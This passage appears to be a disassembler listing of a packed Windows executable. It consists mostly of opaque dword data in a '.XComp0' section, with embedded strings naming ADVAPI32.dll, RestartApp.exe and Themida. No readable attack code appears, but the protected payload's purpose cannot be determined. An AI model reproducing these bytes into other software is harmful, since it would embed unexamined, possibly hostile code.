		dd 0A6C800DBh, 0E3E2258Dh, 7204C93Ch, 0AD0BB2D4h, 91294083h
		dd 2C301DE8h, 841207C5h, 0AA447DFDh, 0DD9883A4h, 57D8928Ch
		dd 890030FFh, 66D0627Fh, 5012E1CBh, 0EA26C8F0h,	0F7A244ACh
		dd 108980F1h, 98B04158h, 0C26200BDh, 0F49F0743h, 4D4C29C7h
		dd 169D032Ch, 88A37E44h, 543C39E9h, 3C539838h, 0B868A4Eh
		dd 91144D54h, 0C2E5221Fh, 2F17F185h, 0EBF28700h, 1E4CA40Bh
		dd 703FD331h, 0B2022441h, 93E3B400h, 9E0DBAC4h,	29150097h
		dd 0A755CE63h, 0A14C1166h, 0D85C24CCh, 20011E13h, 7ADDEFBh
		dd 0D7193h, 72D84380h, 0C79F352h, 3801D099h, 0A6254C35h
		dd 0CA20AECh, 3B3F76ECh, 0F57D5981h, 0B1F73909h, 0EF1000FAh
		dd 181FF625h, 611AD5DFh, 600085A5h, 4882AE7Ah, 0C0C3F15h
		dd 463D2B79h, 0CD00A749h, 3A29FF09h, 67B1EAh, 7E56E8BAh
		dd 2586D3E0h, 4D8DAF01h, 4B0DE82h, 76659A6h, 0C4F2C31Dh
		dd 5DAC8C62h, 0DFF16000h, 43E4C9F5h, 2D5C13A1h,	0CDDC04B7h
		dd 894817Dh, 3100E34Dh,	0D84F4BA0h, 7268E56h, 794AB759h
		dd 0A49AC280h, 6E289882h, 691ECCC6h, 0A341FF1Bh, 3C60DE7Ch
		dd 1EB28848h, 0B4AD803h, 0C0EF195h, 0AEC9D0h, 820CEA80h
		dd 0E9160075h, 0A7FA523Ah, 0E6003F88h, 0FB45E0AFh, 5DDE4DE5h
		dd 0C49F34A2h, 43348426h, 0C3821DA3h, 9BF0E710h, 1AC759Fh
		dd 7EF4C45Fh, 325430A2h, 2CC4850h, 4B041403h, 57884079h
		dd 0BD1206B5h, 0E046FCABh, 5CF10326h, 401C8340h, 19562CC0h
		dd 122B116Ch, 2403BF1Fh, 5333FFCh, 4F744889h, 6138350h
		dd 0D25E2AA0h, 0DAB8F116h, 1DC205ABh, 0B1B42744h, 3013F58Ch
		dd 31058E99h, 0CE9C72F1h, 7A18AC80h, 80F499ADh,	2D9FC886h
		dd 0F00F0BCh, 77AB3A39h, 49912C2h, 0F4D9E1D6h, 16DCC024h
		dd 68907B6Bh, 603D1744h, 0AF9BA12Fh, 45004CFFh,	76A78247h
		dd 0AE6FC5h, 84630D99h,	0ADEB5183h, 73618801h, 0A2DF2BA4h
		dd 120C3022h, 3A91C9B0h, 0A3A41309h, 0B11C03FFh, 0C7190FC8h
		dd 0E382D4CCh, 6CC6A23Dh, 0F4479900h, 0D6C901C5h, 0D42A0020h
		dd 0A2939DB1h, 42004341h, 0C1ACA4C3h, 4CE8A75Dh, 7605F9A9h
		dd 8EDAFDEh, 6F814564h,	3BA24B14h, 51FFD0h, 0AB4CF384h
		dd 6D50A6EDh, 0CC6EEB17h, 0D1B2B400h, 4C6F3710h, 0A0802844h
		dd 0ABBBFC40h, 8DB71E00h, 2B65BCD5h, 0F63F00BDh, 0AC28874Eh
		dd 9512D78Ch, 0A4204468h, 4C5D2E14h, 0A90F3ADFh, 73027B93h
		dd 0B0923C64h, 0F6CCA340h, 92DB1901h, 0E61B6D6Bh, 6ED0B431h
		dd 0D8B82612h, 402D4498h, 0AF70E165h, 6C6812DEh, 254000E9h
		dd 7D3AAC60h, 146A910Bh, 6358101Bh, 38ED02E1h, 0BC2CE8D8h
		dd 0C4FA7060h, 498028A8h, 8FC03602h, 0AFBA96h, 0AA76622Ah
		dd 7301991Eh, 9C088196h, 0F084801Ah, 0A0AAA3CCh, 492EF730h
		dd 0F9950Ah, 0B9C6FE62h, 0E7AE2904h, 0AB7FDF00h, 661454DDh
		dd 77610047h, 16DE7049h, 110FB50Dh, 32F38290h, 0D613B402h
		dd 52A86063h, 2B910EE5h, 2189F738h, 3A90B018h, 1EA8885Ah
		dd 0F309BC48h, 883D32Ch, 5826C0C9h, 5E0BC40Ch, 0B0A81BA5h
		dd 1E1EDE8h, 0BF2BCC5Dh, 800CBAF4h, 0EB42F768h,	11C8CE4Dh
		dd 4C295330h, 27D0091h,	5D3336A2h, 4419CA22h, 0B0344084h
		dd 5C17B8B9h, 1C01C4B6h, 9E26CC13h, 11E821A6h, 0BF0800DFh
		dd 5FEA879Dh, 81BE0098h, 39916A1Eh, 6C98854Dh, 0AD15540Ch
		dd 4831D5h, 5A27D34Ah, 89F087DAh, 81086F02h, 443F60C3h
		dd 4D3C0020h, 3AC1029Ah, 0F5F75CB3h, 0E12460F0h, 0A3ECAD04h
		dd 508113EAh, 2EF0EB5Bh, 3A4B865h, 12725A93h, 7113D0B4h
		dd 9820AEDEh, 0B81DF885h, 0A067EA18h, 489DF2CCh, 0FC00E051h
		dd 9FD3A7B7h, 0BD1852D5h, 970DE05h, 0FC175CC4h,	883441C0h
		dd 0D2002A91h, 5DBA92F2h, 0B0F1D25h, 0A9CA0C68h, 100058Ah
		dd 0ACD62734h, 8C237Ah,	0C8829915h, 4D77B90h, 0BF26202Ah
		dd 2710CCA5h, 9C494B3Ch, 2A478FADh, 527004DCh, 18F050D1h
		dd 98E3711Bh, 901192FDh, 9607D61Ah, 0C099C885h,	8A2AA51h
		dd 0A8C1D53Eh, 0B5218897h, 6AD08D7h, 0F08AAB82h, 33004824h
		dd 0CE620E99h, 1620DDB2h, 0ABE8A4BCh, 11012098h, 42DE1D05h
		dd 74311239h, 372AE473h, 45DD3E60h, 0A9C89480h,	0C9AFD87Ah
		dd 4F91C400h, 5EB1185Ah, 0DB8B052h, 8C76730Ah, 0B450F640h
		dd 74232916h, 24275801h, 7423817Ch, 35320F02h, 8CC0F5A4h
		dd 0A51DA2C3h, 0ACC0E015h, 0A390AE34h, 0D8EB04DEh, 812C78B7h
		dd 60D2AD9Ch, 0BD245580h, 240B64EAh, 7BD090F0h,	336400B8h
		dd 82B211A4h, 3F00EF61h, 0ABD667C0h, 1918F54Fh,	313CF07Dh
		dd 66FCDC26h, 0F4F79AA0h, 96CA8F00h, 0EBA1DC15h, 4F4400E3h
		dd 0E2FC198Bh, 7B03E8A3h, 0ACA81785h, 3AADF02Ch, 40709CF0h
		dd 86DDA134h, 0F5079F00h, 5E14FEA2h, 0D57B3ACCh, 0A3DE8905h
		dd 3CD44BEFh, 3F168890h, 5461D101h, 0A02E15FDh,	0BB918540h
		dd 0C7200782h, 50C87FE1h, 743EF7B5h, 60642604h,	9CC80D0Bh
		dd 0D9AB0154h, 5F2824EDh, 8B84DC63h, 4E160F7Eh,	6C20B515h
		dd 87ED52h, 6066D709h, 77575194h, 2298A04Ch, 2D3C3012h
		dd 0E9842199h, 0AA96C600h, 6FA822A3h, 953105D5h, 82A74B51h
		dd 0FCC075E1h, 354EA312h, 2E3CD004h, 0D10A7E40h, 0BF005FF5h
		dd 0F3DBD25h, 24E45C7Fh, 11607DF6h, 90C027C8h, 0E4116C70h
		dd 1FA101EBh, 0E0AE5166h, 409DC468h, 1537FCA0h,	184D2028h
		dd 6AE52A07h, 9299DC26h, 0F98D0048h, 13DD69h, 0D18AF82Eh
		dd 0A1DE8BAFh, 1289949Eh, 3AB866AEh, 1D04B9CCh,	0C8F7592Eh
		dd 3C05FBE0h, 0C2D0EEC3h, 0AF5388C0h, 34844CE8h, 0D5361A07h
		dd 0E48079ADh, 26677D34h, 50074226h, 12635C2Eh,	148CBC8Fh
		dd 833F3C8Bh, 35BDDF81h, 0F87211E4h, 78964B30h,	41134D8Ch
		dd 595100DFh, 103D3B7Dh, 9C78FDFFh, 832F6A0Bh, 0C1FC1967h
		dd 0E949E4h, 0C3D99A84h, 1312A1B9h, 21961903h, 0FEF7763h
		dd 62852FA8h, 0D537A8A0h, 0BC014E7Eh, 30819539h, 81883F52h
		dd 12801744h, 9BC03A1Bh, 0A41C017Bh, 5911C27Eh,	0E878E98Eh
		dd 5D2830FFh, 1C815C34h, 1A00C721h, 0BFDEAC0Eh,	96580Bh
		dd 0DF9CA3F6h, 68826A28h, 0E1BA7601h, 2C3FB1D6h, 4F1C24h
		dd 79928AE7h, 70BCE25Bh, 9F262316h, 21D35432h, 70715F2Fh
		dd 341D9718h, 6025A91h,	232EF783h, 0C1C8FACAh, 8502E370h
		dd 8B561775h, 87162h, 0D4F43D5Fh, 0A100BA48h, 0C47386F5h
		dd 247B05h, 0C1989280h,	0E0A741AFh, 56219507h, 81104FA3h
		dd 58CD0E99h, 41C09C0Ch, 0A6826370h, 31E6D200h,	0F399E7Eh
		dd 219A12A5h, 0EC400883h, 0F046D964h, 0F200B128h, 0FA2F4D6Ah
		dd 76989C1h, 0E6E8F7EBh, 3B840017h, 2A01AD94h, 32F85B49h
		dd 0DEC82A6h, 9738007Eh, 0AB5C0E5Ah, 2625B3A3h,	8020AB92h
		dd 0BEED87E4h, 9F200518h, 80A57B3Fh, 0CED0DB28h, 0E0CCA826h
		dd 0AC20CB3Ah, 718CDCh,	3E6DEE6Bh, 0CDDE1BE2h, 0A03D9A25h
		dd 0F1196E08h, 54CC0091h, 237B82A7h, 0FD0FD55Fh, 21A40B8Bh
		dd 0AE15776Dh, 8020D849h, 0E8638A1Ah, 0B30240A4h, 48C86442h
		dd 62807C44h, 0DA3ED3C3h, 2D182900h, 5D7C064Ah,	4E0D4B5Fh
		dd 0C9A0461Ch, 8A9C4964h
		dd 0EC271000h, 0AE26E92Fh, 0E2F01DA5h, 27806836h, 0C4203FEEh
		dd 0E9FC5A6h, 4DD21508h, 0D0658FE9h, 98C5F40h, 7C00F58Fh
		dd 0FD7F1899h, 0AA476Ah, 0CF58E794h, 7767124Fh,	4258A46Fh
		dd 4668F49Eh, 0ADE50098h, 9FAF5D6Ch, 0A5030B2Ch, 2F120C53h
		dd 65EAF9C3h, 5F87B838h, 0F5219028h, 330F7EBDh,	0C24E5706h
		dd 4013BEFAh, 8419AD18h, 0CC27E076h, 9EC0A03Fh,	0BB76CA8h
		dd 0DF593ECEh, 9F0A77D8h, 0BC751951h, 509DD510h, 0E5E88004h
		dd 4C2B91CCh, 0F51C58C5h, 1EE46652h, 424E3EFFh,	0A9DE7270h
		dd 82AD1C85h, 0FCE1465Eh, 3BF011A6h, 0EC2100D3h, 0C85D0904h
		dd 3A007391h, 0B4F6506Ch, 410F9Eh, 199F4E8h, 55301B61h
		dd 26392361h, 7184379Bh, 0BBD60D99h, 102D650Ah,	0E7133591h
		dd 0F6CC88FBh, 8A97143Fh, 0C8B6AA1h, 39633D81h,	77EDC8BBh
		dd 7FE741E4h, 5C731F76h, 99D441A3h, 0EE50E648h,	101F0461h
		dd 30A81C2h, 465D47DEh,	900BF1CEh, 183D586h, 0AED3093Ch
		dd 0EE2631D0h, 82D024EBh, 10411E8h, 6418B50Ch, 4860C762h
		dd 0F1272642h, 37F84044h, 0A1FCCCA4h, 6034E04Ah, 60EDC805h
		dd 3139BCE2h, 9734BB00h, 651B17C3h, 0D201C900h,	6BDC879Bh
		dd 0A0B90Dh, 0C1BBD669h, 6DE2C5CFh, 41023D98h, 8BA0DECDh
		dd 0B30641Bh, 28C6C759h, 2B1DDA00h, 5800254Bh, 2C33FA90h
		dd 50607DCAh, 3A458CA5h, 0ED02EC85h, 6CFE3B23h,	71161460h
		dd 0DC14EA00h, 69FD4A26h, 0FC870051h, 3BC733A9h, 817AF248h
		dd 0E4D7C126h, 9DF6C860h, 0EA5200ABh, 880D4018h, 3B453D7Bh
		dd 0BE4C4DDh, 0CC5A2DC0h, 8D802800h, 0CF0F678Bh, 5F494B4Ch
		dd 14758780h, 99607E98h, 0F3068150h, 0C43C8FAEh, 7609A0A6h
		dd 849D3F64h, 2122D8ACh, 0E318F820h, 0A5A2005Fh, 17611B14h
		dd 7600F950h, 360772A4h, 195EBB1h, 68C24B7Dh, 20B723D5h
		dd 0D6881D9Ch, 881502EBh, 756D491Eh, 9C41986Ah,	3BB073BAh
		dd 0BFEB80FAh, 0E8DDBB66h, 128419FEh, 41B730A2h, 28776514h
		dd 0BF998000h, 1FFE0D33h, 56F7D7B1h, 92CE03DAh,	0B980758Ch
		dd 0A924E310h, 0AE40E81Ah, 0B34CFh, 0DCA77748h,	9AC8F14Dh
		dd 0EAA8DE19h, 28223DB1h, 0A2B3037Eh, 0FA5A0F21h, 6FD92EB0h
		dd 71FCB402h, 0F18AF082h, 7CD40064h, 33BE7246h,	605AE500h
		dd 0C35BE387h, 0B428F3F8h, 0D7AE9880h, 7701A03Bh, 0C5B2A6A2h
		dd 0ADC0C430h, 1CC5261h, 60FBFFFFh, 0
		db 0
; ---------------------------------------------------------------------------


loc_56B5ED:				; CODE XREF: .XComp0:loc_4EE265j
					; DATA XREF: .XComp0:loc_4EE086o
		jmp	loc_56EB5A
; ---------------------------------------------------------------------------
		align 4
		dd 4 dup(0)
		dd 0EB940000h, 0F7F27C90h, 0FFFFh, 6 dup(0)
		dd 62450000h, 0E8D80060h, 5Ch, 3C4D0000h, 194h,	0Fh dup(0)
		dd 0D220000h, 2, 0
		dd 0B5080000h, 0B2h, 8 dup(0)
		dd 4EB0000h, 0
		dd 0A8AD0000h, 56437E41h, 0Fh dup(0)
		dd 0B5730000h, 85D9h, 2	dup(0)
		dd 0B2h, 3 dup(0)
		dd 80A30000h, 0CDA6h, 1BA90000h, 5Bh, 0
		dd 4850000h, 0FFA6h, 0Ah dup(0)
		dd 11DA0000h, 7C81h, 0
		dd 0F6DE0000h, 2, 92h dup(0)
		dd 230000h, 900056h, 0
		dd 0FFA40000h, 12h, 0Bh	dup(0)
		dd 8300000h, 1B3C4E3Dh,	5Dh, 0
		dd 0ADA00000h, 129h, 8 dup(0)
		dd 29180000h, 0B2h, 26Ch, 5 dup(0)
		dd 0EB940000h, 12h, 2 dup(0)
		dd 17D30000h, 0FFA1h, 3	dup(0)
		dd 9F700000h, 5Ah, 7 dup(0)
		dd 0EB940000h, 7C90h, 0
		dd 39650000h, 0B22E697Ch, 5Ah, 2 dup(0)
		dd 0C9F40000h, 6FA0005Ah, 18770000h, 29Fh, 0F7F20000h
		dd 0FFFFh, 5 dup(0)
		dd 403B0000h, 454E4B47h, 192000B2h, 0B2h, 2 dup(0)
		dd 0EE180000h, 7C90h, 0Fh dup(0)
		dd 0FFFF0000h, 0FFFFh, 2 dup(0)
		dd 2FA60000h, 7CEDh, 2 dup(0)
		dd 5FBB0000h, 22220000h, 22222222h, 2222h, 3 dup(0)
		dd 0B0000000h, 0Eh, 4 dup(0)
		dd 2F0000h, 230000h, 5Bh, 6 dup(0)
		dd 8D8D0000h, 1F5Fh, 0
		dd 9F3E0000h, 0FF9Fh, 9F0000h, 7F84h, 97A0000h,	2 dup(0)
		dd 0ED40000h, 0Bh dup(0)
		dd 10A30000h, 5A2h, 4 dup(0)
		dd 42020000h, 5801h, 0EB940000h, 7C90h,	4 dup(0)
		dd 691A0000h, 894020B6h, 5Ch, 0
		dd 0ED00000h, 6BF000B2h, 77DDh,	0
		dd 0EB940000h, 4 dup(0)
		dd 0EB940000h, 7C90h, 9	dup(0)
		dd 0A40A0000h, 0FFFF005Dh, 0FFE0FFFFh, 12h, 55DE0000h
		dd 0FC2Eh, 2 dup(0)
		dd 0EE180000h, 7C90h, 3	dup(0)
		dd 0FBA40000h, 0CA7AF386h, 56h,	5 dup(0)
		dd 3E0000h, 7D17C80h, 10000h, 10000000h, 40h, 3	dup(0)
		dd 0FA370000h, 0B2h, 0
		dd 0F8A00000h, 56h, 0
		dd 3C520000h, 7FFFFFA9h, 0B00000h, 0
		dd 180F0000h, 0A5FB00B2h, 5Ch, 0
		dd 0CDDA0000h, 40C27C81h, 781Dh, 2 dup(0)
		dd 6EF00000h, 25Bh, 2 dup(0)
		dd 0EB940000h, 7C90h, 2	dup(0)
		dd 19F00000h, 0B2h, 0
		dd 0ABD60000h, 5Ch, 2 dup(0)
		dd 2A460000h, 8	dup(0)
		dd 5FD0000h, 9F82FF4Dh,	5Ah, 2 dup(0)
		dd 3CA20000h, 3111h, 0C2h, 2 dup(0)
		dd 0EB940000h, 3F0F7C90h, 0D8F000B8h, 89400000h, 2614005Ch
		dd 5Bh,	0EB940000h, 5Ch, 3 dup(0)
		dd 0DD89h, 0
		dd 0A6B70000h, 5Bh, 0
		dd 24930000h, 0C19400B3h, 0A1E3h, 9 dup(0)
		dd 0FFFF0000h, 0FFFFh, 230000h,	5Bh, 4 dup(0)
		dd 2130000h, 0B8h, 0
		dd 7F5D0000h, 3259h, 0
		dd 0C3AE0000h, 56h, 2 dup(0)
		dd 3210000h, 7C97h, 4 dup(0)
		dd 0B2h, 0
		dd 0BE1F0000h, 0FFFFh, 5 dup(0)
		dd 26Bh, 0
		dd 0E5180000h, 3 dup(0)
		dd 19200000h, 0B2h, 3 dup(0)
		dd 0F9FC0000h, 0AAh, 0
		dd 19610000h, 5Ah, 0ACF60000h, 4D70h, 4	dup(0)
		dd 0D8F00000h, 0
		dd 36360000h, 3636h, 56430000h,	10h dup(0)
		db 90h
		db 7Ch,	5Fh, 77h
		dd 5E3Ch, 5 dup(0)
		dd 0DE1D0000h, 0
		dd 0ADA00000h, 129h, 7 dup(0)
		dd 0C87A0000h, 3111h, 0Dh dup(0)
		dd 0D17C0000h, 71B9h, 0
		dd 0CA960000h, 0
		dd 1B3C0000h, 5Dh, 0A7h, 0
		dd 40h,	4 dup(0)
		dd 4C970000h, 0FFDFh, 18h dup(0)
		dd 0F7F20000h, 0DF122BC9h, 5Eh,	3 dup(0)
		dd 10000h, 8D8D0000h, 617DA37Fh, 3AB6h,	0D0E90000h, 7E9D005Bh
		dd 14FDh, 0
		dd 61DC0000h, 5Ch, 6 dup(0)
		dd 0FFFB0000h, 0FFFFh, 0
		dd 32760000h, 5Ah, 2 dup(0)
		dd 76550000h, 0DFFFh, 51E90000h, 10001h, 2 dup(0)
		dd 9DA40000h, 0FFFFh, 47220000h, 0FF547C80h, 0CE8E0012h
		dd 0A7BAh, 28h dup(0)
		dd 58460000h, 1005Bh, 3	dup(0)
		dd 26400000h, 7C80h, 7DC80000h,	0CEEEh,	4 dup(0)
		dd 0C2D20000h, 115B7F01h, 5Bh, 0FF000000h, 0FFFFh, 6 dup(0)
		dd 0E80000h, 2 dup(0)
		dd 4BF10000h, 60h, 0Dh dup(0)
		dd 8F690000h, 9D59005Ah, 5FD50BBh, 2FF4Dh, 5Eh,	5 dup(0)
		dd 637B0000h, 60h, 5 dup(0)
		dd 0FFF40000h, 0A770233h, 9F707C81h, 5Ah, 3 dup(0)
		dd 7E000000h, 9AC30005h, 2 dup(0)
		dd 0D5EE0000h, 0FED07CEBh, 12h,	0A6780000h, 0FFFFh, 7 dup(0)
		dd 0F00000h, 0
		dd 0B7650000h, 5Eh, 3 dup(0)
		dd 8840000h, 2 dup(0)
		dd 55DE0000h, 0FC2Eh, 6BE90000h, 0FF4Dh, 5 dup(0)
		dd 0C2030000h, 0B3h, 5 dup(0)
		dd 7DC80000h, 55CCEEEh,	0
		dd offset dword_4FFC54+3ACh
		dd 0A8ADFE5Ch, 0E5AE7E41h, 4B9h, 0
		dd 22570000h, 0B2h, 9E280000h, 0FFFFh, 0A6340000h, 5Ch
		dd 2 dup(0)
		dd 33330C0Eh, 2	dup(33333333h),	3333h, 3 dup(0)
		dd 885D0000h, 8	dup(0)
		dd 3A430000h, 4E49575Ch, 53574F44h, 7379735Ch, 336D6574h
		dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 3Eh dup(0)
		dd 1DF40000h, 5Bh, 3 dup(0)
		dd 0EE90000h, 2, 0FEC80000h, 12h, 3 dup(0)
		dd 0D32C0000h, 0FA37A769h, 0B2h, 3 dup(0)
		dd 91910000h, 19DBh, 5 dup(0)
		dd 0CE910000h, 3CE2h, 0
		dd 77DDh, 3 dup(0)
		dd 0A00000h, 2 dup(0)
		dd 29180000h, 0B2h, 0B8B50000h,	3 dup(0)
		dd 26EE0000h, 24AFh, 6 dup(0)
		dd 6D700000h, 4370h, 0A01A0000h, 6F887EA5h, 5Eh, 9D5E0000h
		dd 31005Ah, 3 dup(0)
		dd 6A180000h, 0FFA4h, 0Bh dup(0)
		dd 1340000h, 0FFEDh, 3 dup(0)
		dd 9F700000h, 0C4005Ah,	6 dup(0)
		dd 21210000h, 454E2121h, 0B2h, 0FFB00000h, 90F70143h, 9343h
		dd 4FA90000h, 180F0060h, 0B2h, 0
		dd 9BB70000h, 566Fh, 0DC400000h, 836Eh,	0
		dd 0FFCB0000h, 72FAh, 8E510000h, 0B2h, 0Bh dup(0)
		dd 1A400000h, 0B2h, 0
		dd 8D200000h, 0B2h, 6 dup(0)
		dd 0D86B0000h, 3F640056h, 0B7h,	6E000000h, 7F01h, 18h dup(0)
		dd 2FF50000h, 5Ah, 8 dup(0)
		dd 0C3AE0000h, 56h, 0
		dd 0B22E0000h, 0F75Bh, 3 dup(0)
		dd 85A80000h, 1, 0
		dd 0BDF50000h, 1F5FFh, 0
		dd 0E40000h, 7EA5h, 2 dup(0)
		dd 0C3AE0000h, 56h, 20000000h, 0E80000h, 2 dup(0)
		dd 0ADA00000h, 0EB940129h, 7C90h, 0ED00000h, 0B2h, 6 dup(0)
		dd 9D50000h, 0AEE6120Bh, 1DB2h,	4 dup(0)
		dd 0A01A0000h, 5Bh, 3 dup(0)
		dd 2FDB0000h, 0D8F0005Ah, 2 dup(0)
		dd 99440000h, 0FFFFh, 0
		dd 180E0000h, 7C80h, 0FF540000h, 0F4C30012h, 0EB940056h
		dd 7C90h, 5 dup(0)
		dd 3D0000h, 6 dup(0)
		dd 35A50000h, 9	dup(0)
		dd 180F0000h, 0B2h, 0ADA00000h,	129h, 0
		dd 97150000h, 60h, 9 dup(0)
		dd 0FF540000h, 12h, 5 dup(0)
		dd 4E5B0000h, 19F076B4h, 1A4400B2h, 0B2h, 3 dup(0)
		dd 0BC0000h, 0F3E40000h, 0DD88h, 0
		dd 24240000h, 2424h, 3 dup(0)
		dd 0FFF00000h, 12h, 0C00000h, 3	dup(0)
		dd 0FFB00000h, 0E9220253h, 9B470056h, 0FFA47C80h, 12h
		dd 4 dup(0)
		dd 230000h, 0Bh	dup(0)
		dd 3E0000h, 96CD00B2h, 89F7h, 3	dup(0)
		dd 3B50000h, 4 dup(0)
		dd 0EB940000h, 7C90h, 6	dup(0)
		dd 75970000h, 2D0F3h, 0
		dd 0F3E40000h, 0DD88h, 3 dup(0)
		dd 0ADA00000h, 129h, 3 dup(0)
		dd 3F580000h, 67687C86h, 5Bh, 2	dup(0)
		dd 40h,	0D287005Bh, 0A8h, 6 dup(0)
		dd 2A090000h, 9F707C81h, 0FF21005Ah, 0FFFFh, 0
		dd 0ADA00000h, 0F90C7C80h, 99400270h, 6552FFFFh, 72617473h
		dd 70704174h, 6578652Eh, 0F5EA0000h, 180h, 28780000h, 0EB9400B5h
		dd 7C90h, 0
		dd 10840000h, 0CCE4005Ch, 5Eh, 7F5D0000h, 3259h, 0Dh dup(0)
		dd 42020000h, 0A6445801h, 16C5h, 67140000h, 5Bh, 0
		dd 0A40000h, 0BAA10000h, 0D3E37C80h, 5Bh, 6 dup(0)
		dd 9B470000h, 7C80h, 180F0000h,	0B2h, 3	dup(0)
		dd 0EB940000h, 7C90h, 11h dup(0)
		dd 757A0000h, 836Fh, 403B0000h,	4B47h, 2 dup(0)
		dd 0C9CE0000h, 0F0578C1Eh, 0ACE20056h, 0DE67C36h, 0
		dd 9F700000h, 5Ah, 0Ah dup(0)
		dd 0A01A0000h, 7EA5h, 11h dup(0)
		dd 30DF0000h, 0EE9A9C5h, 0B40002h, 2 dup(0)
		dd 3FFC0000h, 0
		dd 0FEF00000h, 12h, 10C00000h, 5Ch, 0
		dd 40000h, 5 dup(0)
		dd 30DF0000h, 0CDDAA9C5h, 70B87C81h, 0EA9Ch, 0
		dd 3EC20000h, 0AD9100B2h, 129h,	9B470000h, 7C80h, 0E80000h
		dd 0B2h, 0EB940000h, 7C90h, 94170000h, 0B2h, 2 dup(0)
		dd 230000h, 5Bh, 5FD0000h, 0B8FF4Dh, 3 dup(0)
		align 10h
		dd 1FFA4h, 2 dup(0)
		dd 0EB940000h, 7C90h, 9C0000h, 6 dup(0)
		dd 0CC670000h, 92B7h, 3	dup(0)
		dd 16E80000h, 3	dup(0)
		dd 22570000h, 0B2h, 9 dup(0)
		dd 0A5080000h, 5Dh, 2 dup(0)
		dd 0BF1F0000h, 0C9AB7695h, 0FFA3h, 0
		dd 10000h, 58300000h, 0B22E005Eh, 5Ah, 6 dup(0)
		dd 42020000h, 5801h, 7 dup(0)
		dd 0EB940000h, 7C90h, 411C0000h, 6F37h,	0Ah dup(0)
		dd 0AAA10000h, 0C0000B2h, 4758h, 0EB940000h, 7C90h, 0B7650000h
		dd 4005Eh, 0
		dd 0A4840000h, 227Ch, 0
		dd 0FA040000h, 0E82D81BAh, 5Eh,	0
		dd 2CB00000h, 0FFC47C80h, 12h, 0A59E0000h, 5Ch,	2 dup(0)
		dd 11110000h, 1111h, 3 dup(0)
		dd 10000h, 2CE10000h, 4085h, 0
		dd 0FFFF0000h, 0FFFFh, 2 dup(0)
		dd 8D8D0000h, 42Ch, 0
		dd 56610000h, 6BE2h, 0E8410000h, 0FE29h, 0Ah dup(0)
		dd 3B800000h, 197C80h, 0
		dd 9C0000h, 0
		dd 0A34C0000h, 0FFFFh, 0D7FF0000h, 14D6h, 0EB940000h, 7C90h
		dd 8 dup(0)
		dd 26Ch, 5 dup(0)
		dd 4D350000h, 84F8h, 8 dup(0)
		dd 68540000h, 64696D65h, 61h, 1Dh dup(0)
		dd 43EC0000h, 8547C80h,	1, 9F50000h, 5Bh, 0ADA00000h, 16A00129h
		dd 3 dup(0)
		dd 8B320000h, 420200B5h, 5801h,	0F7F20000h, 0FFFFh, 3 dup(0)
		dd 37EC0000h, 0B2h, 10000h, 5 dup(0)
		dd 18420000h, 0B2h, 0
		align 8
		dd 5Fh,	7EA5h, 0
		dd 0FFFF0000h, 0FFFFh, 0EB940000h, 7C90h, 0B4CF0000h, 65017C80h
		dd 0
		dd 0CF0F0000h, 9AADh, 0B4h dup(0)
		dd 0CF5B0000h, 7C81h, 0
		dd 68870000h, 8000005Eh, 3, 0DFD00000h,	5974F696h, 8655h
		dd 0
		dd 0D59C0000h, 0CAECF3B1h, 0FFBAE9DDh, 0FF4Fh, 2 dup(0)
		dd 700B0000h, 2FEBh, 0
		dd 0EB940000h, 0FF887C90h, 0FFFFh, 5 dup(0)
		dd 46DB0000h, 5Ch, 84F00000h, 365Fh, 83790000h,	573Dh
		dd 2 dup(0)
		dd 7F5D0000h, 27E63259h, 7C3Ah,	7 dup(0)
		dd 0CF7C0000h, 7C81h, 2	dup(0)
		dd 10740000h, 0
		dd 78C00000h, 344Dh, 6 dup(0)
		dd 9E5A0000h, 0FE54h, 3	dup(0)
		dd 0EE180000h, 7C90h, 4	dup(0)
		dd 0FF8C0000h, 80000012h, 21h, 0
		dd 4A880000h, 14h, 0EB940000h, 7C90h, 94360000h, 0B4BBh
		dd 0FF7F0000h, 0F5E4h, 2 dup(0)
		dd 0E8D80000h, 5Ch, 2 dup(0)
		dd 21180000h, 7AFEh, 0AC0000h, 0FFEDh, 2 dup(0)
		dd 1050000h, 0A28h, 2 dup(0)
		dd 193E0000h, 20000h, 0FBFE0000h, 7FDCh, 3 dup(0)
		dd 980000h, 9 dup(0)
		dd 15AD0000h, 0BDh, 2 dup(0)
		dd 0E80000h, 51E900B2h,	1, 833F0000h, 38Ch, 5 dup(0)
		dd 3D940000h, 0
		dd 0FBB50000h, 7FBBh, 4	dup(0)
		dd 322D0000h, 9EBA005Eh, 5Ah, 91370000h, 7452h,	0
		dd 1CA00000h, 26380000h, 0
		dd 30EE0000h, 5Eh, 440E0000h, 2C03h, 2 dup(0)
		dd 0FF600000h, 12h, 6 dup(0)
		dd 31E50000h, 0B8h, 0E5860000h,	0E1Dh, 0
		dd 0FFE00000h, 12h, 0
		dd 0B4840000h, 0F5E4h, 0Ah dup(0)
		dd 0EB940000h, 7C90h, 94170000h, 66F400B2h, 5Eh, 4 dup(0)
		dd 9E600000h, 7C80h, 3 dup(0)
		dd 0FA030000h, 0B2h, 7E41h, 2 dup(0)
		dd 6DD40000h, 25Bh, 1Bh	dup(0)
		dd 1F260000h, 87A4h, 5 dup(0)
		dd 1780000h, 6C410040h,	5Bh, 0
		dd 5750000h, 0EB940264h, 7C90h,	5 dup(0)
		dd 0FEC80000h, 9B470012h, 0B6207C80h, 61E5h, 7 dup(0)
		dd 0C0000h, 254h, 4 dup(0)
		dd 6E0F0000h, 7	dup(0)
		dd 0E80000h, 5 dup(0)
		dd 6F880000h, 4AF2005Eh, 7C81h,	3 dup(0)
		dd 28D80000h, 6DEh, 65h	dup(0)
		dd 0AC0000h, 0Ah dup(0)
		dd 0EB940000h, 7C90h, 2	dup(0)
		dd 2ECA0000h, 2BC81E1Dh, 5Bh, 2	dup(0)
		dd 26Eh, 2 dup(0)
		dd 21330000h, 5Dh, 9F50000h, 5Bh, 7 dup(0)
		dd 2FF50000h, 5Ah, 5 dup(0)
		dd 0D8F00000h, 0Bh dup(0)
		dd 0D8F00000h, 0ABDE0000h, 7C80h, 5 dup(0)
		dd 7FFC0000h, 25Fh, 0FEC80000h,	12h, 3 dup(0)
		dd 0F5BD0000h, 74A7h, 0
		dd 26Dh, 3 dup(0)
		dd 0EB940000h, 7C90h, 0EB940000h, 7C90h, 4 dup(0)
		dd 300E0000h, 4202B483h, 5801h,	0
		dd 0EB450000h, 0A8CF0000h, 0DE600B2h, 2	dup(0)
		dd 0D86A0000h, 56h, 5 dup(0)
		dd 70410000h, 0A750h, 4	dup(0)
		dd 0BD020000h, 193D5801h, 0DD63h, 0
